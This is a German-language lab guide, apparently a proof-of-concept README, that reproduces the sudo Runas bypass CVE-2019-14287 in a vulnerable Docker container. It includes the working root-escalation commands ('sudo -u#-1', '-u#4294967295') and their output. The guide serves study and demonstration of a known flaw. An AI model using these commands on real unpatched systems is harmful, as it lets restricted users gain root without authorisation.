PoC von CVE-2019-14287

Übersicht

Dies ist ein Beispiel, um die Sicherheitslücke in sudo (CVE-2019-14287) in einem Docker-Container nachzubilden.

Übungsschritte

1. docker compose up -d, um den Container zu starten
2. docker exec -it vulnerable_sudo_app bash, um in den Container zu gelangen
3. Führe whoami und id aus, um zu bestätigen, dass du ein normaler Benutzer bist (nicht root)
   root@kitploit:~

   $ whoami
   user1
   $ id
   uid=1000(user1) gid=1000(user1) groups=1000(user1)
   $ id -u
   1000
   

4. Stelle fest, dass sudo -u#0 whoami und sudo -u#0 id -u nicht ausgeführt werden können
   • Gib die UID 0 (root) für die Option -u an
   • Es wird nach einem Passwort gefragt, das du nicht kennst, daher kann der Befehl nicht ausgeführt werden
   root@kitploit:~

   $ sudo -u#0 whoami
   [sudo] password for user1:
   $ sudo -u#0 id
   [sudo] password for user1:
   $ sudo -u#0 id -u
   [sudo] password for user1:
   

5. Führe sudo -u#-1 whoami und sudo -u#-1 id -u aus, um zu bestätigen, dass der Befehl ohne Authentifizierung als root ausgeführt werden kann (Nachstellung der Sicherheitslücke)
   • -u#4294967295 funktioniert ebenfalls
   root@kitploit:~

   $ sudo -u#-1 whoami
   root
   $ sudo -u#-1 id
   uid=0(root) gid=1000(user1) groups=1000(user1)
   $ sudo -u#-1 id -u
   0
   

Referenzen

• CVE - CVE-2019-14287
• Potential bypass of Runas user restrictions | Sudo
• sudoの脆弱性(CVE-2019-14287)についてまとめてみた - Qiita